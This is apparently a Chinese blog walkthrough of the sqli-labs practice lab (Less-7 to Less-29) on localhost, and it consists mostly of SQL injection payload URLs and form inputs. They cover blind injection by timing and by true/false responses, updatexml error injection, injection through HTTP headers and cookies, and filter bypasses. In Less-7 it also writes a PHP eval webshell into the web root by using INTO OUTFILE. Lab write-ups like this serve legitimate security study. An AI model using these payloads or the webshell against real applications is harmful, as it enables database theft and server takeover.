文章目录
下载地址:
网上的盘真难找,不是github就是连接挂了:v
https://cloud.189.cn/t/3Q7NVzqmmqYz
Less7
因为php脚本语言的原因,能识别的解析变量的字符就那几个,单引号、双引号、括号等
http://localhost/sqli-labs-master/Less-7/?id=1’))–+
http://localhost/sqli-labs-master/Less-7/?id=1’)) union select version(),database(),user() into outfile'd:\\3.txt'--+
在d盘根目录下输出了3.txt,内容是version(),database(),user()
http://localhost/sqli-labs-master/Less-7/?id=1’)) union select 1,2,"<?php @eval($_POST['test']);?>" into outfile'd:\\phpstudy_pro\\WWW\\1.php'--+
此payload将一句话木马写进服务器,然后可以用中国菜刀连接
cluster bomb爆破方法
Less8用这个爆破方法很方便
然后就可以爆破数据库名了,start attack!!
115 101 99 117 114 105 116 121 库名
security就这样爆出来了数据库名
时间盲注Less8
延时盲注
先看字段长度
?id=1’ order by 4–+
3正常回显,4没有回显,说明有三个字段
猜解数据库长度
http://localhost/sqli-labs-master/Less-8/?id=1’ and if(length(database())=2,sleep(5),1)--+
bp爆破
8个字母
猜解数据库名
http://localhost/sqli-labs-master/Less-8/?id=1’ and if(ascii(mid(database(),1,1))=1,sleep(5),1)--+
bp爆破或者用二分法
115 101 99 117 114 105 116 121 库名
security
猜解数据库中表的数量
http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select count(table_name) from information_schema.tables where table_schemas=database())=1,sleep(5),1)--+
http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)--+
爆破,发现是四个表
http://localhost/sqli-labs-master/Less-8/?id=1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1)--+
爆破猜解表名长度
6
http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))=1,sleep(5),1)--+
猜解表名(利用bp爆破的cluster bomb方法)
101 109 97 105 108 115 = emails
http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select count(column_name) from information_schema.columns where table_name='emails')=1,sleep(5),1)--+
猜解字段数
2个字段
先看字段长度呗
http://localhost/sqli-labs-master/Less-8/?id=1’ and if(length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1))=1,sleep(5),1)--+
第一个字段长度为2
第二个字段长度为8
http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select ascii(substr((select column_name from information_schema.columns where table_schema= database() and table_name='emails' limit 0,1),1,1)))=1,sleep(5),1)--+
猜解字段
第一个105 100 id
第二个101 109 97 105 108 95 105 100 email_id
http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select length((select id from emails limit 0,1))=1),sleep(5),1)--+
判断id列下第一个内容的长度 1
http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select length((select email_id from emails limit 0,1))=1),sleep(5),1)--+
判断email_id列下第一个内容的长度 16
http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select ascii(substr((select email_id from emails limit 0,1),1,1))=10),sleep(5),1)--+
爆破得出email_id列下的第一个内容
布尔盲注Less8
猜解数据库
1.先看长度
http://localhost/sqli-labs-master/Less-8/?id=1' and length(database())=8--+
bp爆破,长度为8的时候回显正常
2.用ascii码爆破猜解数据库名
http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1,1))=8--+
同一个数据库,还是security
猜解表
1.先看表长度
http://localhost/sqli-labs-master/Less-8/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1--+
6的时候回显正常,说明有表名长度为6
2.猜解表名
http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1--+
emails
猜解字段
1.看看字段数
http://localhost/sqli-labs-master/Less-8/?id=1’ and select count(column_name) from information_schema.columns where table_name=‘emails’)=1–+
有两个字段
2.看字段长度
http://localhost/sqli-labs-master/Less-8/?id=1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1))=2--+
修改limit参数
第一个字段长度为2
第二个字段长度为8
3.分别猜解字段
http://localhost/sqli-labs-master/Less-8/?id=1' and (select ascii(substr((select column_name from information_schema.columns where table_schema= database() and table_name='emails' limit 0,1),1,1)))=1--+
修改limit 1,1猜解第二个字段
id
email_id
4.暴内容
http://localhost/sqli-labs-master/Less-8/?id=1' and (select length((select id from emails limit 0,1))=1)--+
判断id列下第一个内容的长度
http://localhost/sqli-labs-master/Less-8/?id=1' and (select length((select id from emails limit 1,1))=1)--+
limit 1,1 判断emial_id列下第一个内容的长度
长度是16
爆破email_id列下第一个内容
http://localhost/sqli-labs-master/Less-8/?id=1' and (select ascii(substr((select email_id from emails limit 0,1),1,1))=10)--+
Less9
基本跟less8的时间盲注一致
http://localhost/sqli-labs-master/Less-9/?id=1'and if(1=0,1, sleep(5)) --+
这么注入延时回复了,证明大有可为
http://localhost/sqli-labs-master/Less-9/?id=1' and if(length(database())=2,sleep(5),1)--+
爆破数据库长度,长度为8
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(mid(database(),1,1))=1,sleep(5),1)--+
用ascii码猜解数据库名
security数据库名
http://localhost/sqli-labs-master/Less-9/?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)--+
爆破 where table_schema=database())=1的1可得数据库中表的数量
http://localhost/sqli-labs-master/Less-9/?id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1)--+
第一个表长度为6
http://localhost/sqli-labs-master/Less-9/?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))=1,sleep(5),1)--+
猜解表名,根据表名长度修改参数,爆破ascii码
emails表名
http://localhost/sqli-labs-master/Less-9/?id=1' and if((select count(column_name) from information_schema.columns where table_name='emails')=1,sleep(5),1)--+
猜解字段数,有两个字段
http://localhost/sqli-labs-master/Less-9/?id=1' and if(length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1))=1,sleep(5),1)--+
分别猜解字段长度,第一个字段长度是2,第二个字段长度是8
http://localhost/sqli-labs-master/Less-9/?id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_schema= database() and table_name='emails' limit 0,1),1,1)))=1,sleep(5),1)--+
猜解字段名
第一个字段
第二个字段
后面报内容也跟less8一样,就不写了
Less10
http://localhost/sqli-labs-master/Less-10/?id=1" and if(1=0,1, sleep(5)) --+
用上payload延时回显了
与less9区别只是单双引号,就不往下做了
Less11
虽然弱口令试出来了,
uname=-1' or 1=1--+
&passwd=&submit=Submit
password可以不填,直接登录
order by 3 登录失败,2的时候成功了,说明有2个字段
uname=-1’ or 1=1 union select 1,2–+&passwd=&submit=Submit
没有回显位置,考虑报错注入
确实爆出security库了,报错语句跟less6一样,不往下注入了
Less12
只输入1",报错有个括号
所以
uname=-1") or 1=1–+ 就能登录了
后面一样,报错注入就行
Less13
还是一样,加个单引号,发现有括号
uname=1’) or 1=1–+
Less14
这题没有回显了,经过反复尝试
uname=1" or 1=1–+
注入成功了
接下来应该是布尔盲注的操作了
照着less8的语句流程做就可以注入了
Less15
第一次试
uname=1’ or 1=1–+ 就注入成功了
接下来布尔,或者延时注入都可
Less16
uname=1") or 1=1–+
一样,盲注就行
Less17
这题用到了updatexml()而且是password位置的注入
passwd=1’ or 1=1 and updatexml(1,concat(’~’,(select database()),’~’),3);–+
参考文章
updatexml()报错注入
暴表
passwd=1’ and updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’~’),3);–+
爆字段
passwd=1’ and updatexml(1,concat(’~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘emails’ limit 0,1),’~’),3);–+
暴内容
passwd=1’ and updatexml(1,concat(’~’,(select id from emails limit 0,1),’~’),3);–+
Less18
参考文章
http header注入讲解
在user-agent输入单引号报错,说明存在注入点,接下来就是构造payload
1’ and updatexml(1,concat(’~’,(select database()),’~’),3) or ‘1’ =‘1
成功暴库
1’ and updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’~’),3) or ‘1’ ='1
成功暴表
接下来的报错注入语句也是与less17一样
Less19
1’ and updatexml(1,concat(’~’,(select database()),’~’),3) or ‘1’='1
和上一题一样,只不过注入位置换到referer了
Less20
有三个字段
接下来就是报错注入了
Less21
这题跟20题差不多,只不过对cookie进行了base64加密,同理我将sql语句base64加密再注入即可
admin’)and updatexml(1,concat(’~’,(select database()),’~’),3);#
YWRtaW4nKWFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwzKTsj
Less22
将21题的单引号换成双引号即可
Less23
emm.所有的注释符号都被过滤了
只有想办法绕过了
那怎么闭合这个单引号来绕过呢
我想语句应该是 select * from table where id=‘用户输入’
所以当我输入-1‘ union select 1,2,3'
,语句就变成了
select * from table where id=’-1‘ union select 1,2,3’’;
暴库,接下来就是常规注入
Less24
这题提示是二次注入,但是我不会…
参考文章
Less25
题目提示过滤了and和or,并且是单引号注入
可以直接用union select 暴库
然后发现双写or可以绕过直接暴表
eg. infoorrmation
同理双写and 变成 anandd也可绕过
Less25a
只是换成数字型而已,双写还是能绕过
Less26
加单引号报错,过滤了挺多东西的
or用||绕过,好处是||左右两边都不需要用空格
注释符也过滤了,我用 1’||‘1’='1 闭合单引号绕过了
因为空格过滤了,所以用()包裹子语句来绕过
eg. select database() 等价于 select(database())
下面是暴表payload,用的报错注入(注意information有or,要双写)
http://localhost/sqli-labs-master/Less-26/?id=1'||updatexml(1, concat(0x7e, (select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=database()))) ,1)||'1'='1
暴字段
http://localhost/sqli-labs-master/Less-26/?id=1'||updatexml(1, concat(0x7e, (select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name='emails'))) ,1)||'1'='1
暴内容
http://localhost/sqli-labs-master/Less-26/?id=1'||updatexml(1, concat(0x7e,(select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) where(id=5))),1)||'1'='1
Less26a
单引号报错但是不回显错误
所以用盲注来做
双写+()绕过
猜解数据库名字长度,8时回显正常
http://localhost/sqli-labs-master/Less-26a/?id=1'anandd(length(database())=8)anandd'1'='1
用ascii码猜解数据库名
老方法,bp爆破
http://localhost/sqli-labs-master/Less-26a/?id=1'anandd(ascii(substr(database(),1,1))=8)anandd'1'='1
Less 27
题目提示过滤了select 和 union
是单引号注入,过滤了注释符
http://localhost/sqli-labs-master/Less-27/?id=1'||'1'='1
正常回显
http://localhost/sqli-labs-master/Less-27/?id=1'||updatexml(1,concat('~',(database()),'~'),3)||'1'='1
暴库
http://localhost/sqli-labs-master/Less-27/?id=1'||updatexml(1, concat(0x7e, (SeLect (group_concat(table_name)) from (information_schema.tables) where (table_schema=database()))) ,1)||'1'='1
暴表 //这里用了不规则大小写绕过,因为他过滤了select嘛
http://localhost/sqli-labs-master/Less-27/?id=1'||updatexml(1, concat(0x7e, (seLect (group_concat(column_name)) from (information_schema.columns) where (table_name='emails'))) ,1)||'1'='1
爆字段
http://localhost/sqli-labs-master/Less-27/?id=1'||updatexml(1, concat(0x7e,(seLect (group_concat( concat_ws(0x7e,id,email_id) )) from (security.emails) where(id=5))) ,1)||'1'='1
暴内容
Less27a
题目提示过滤select ,union
而且是双引号盲注
http://localhost/sqli-labs-master/Less-27a/?id=1"||"1"="1
回显正常
http://localhost/sqli-labs-master/Less-27a/?id=-1"and(length(database())=8)and"1"="1
猜解数据库名长度,长度为8
http://localhost/sqli-labs-master/Less-27a/?id=-1"and(ascii(substr(database(),1,1))=8)and"1"="1
猜解数据库名
后面与布尔盲注没区别
Less28
这题我用了盲注
看了源码我认为,用%a0等空格编码能绕过空格
由于环境的原因,像%a0这类的特殊字符在windows平台上不能有效的使用。
http://localhost/sqli-labs-master/Less-28/?id=1')||'1'=('1
回显正常
http://localhost/sqli-labs-master/Less-28/?id=0')||length(database())=8||'1'=('0
接下来盲注就行了
找到联合注入方法咯
用/*0a*/
强制制造空格,再不规则大小写union、select
http://localhost/sqli-labs-master/Less-28a/?id=0')/*%0a*/uniOn/*%0a*/seLEct/*%0a*/1,2,3||'1'=('0
Less 28a
与上题差不多
Less 29
http://localhost/sqli-labs-master/Less-29/?id=1'--+
正常回显
http://localhost/sqli-labs-master/Less-29/?id=1' order by 3--+
order by 查到三字段
http://localhost/sqli-labs-master/Less-29/?id=-1'union select 1,database(),3--+
暴库
emmm…暴表的时候出错了
上网搜索发现这题要配jspstudy环境,错误示范
少说话,多做事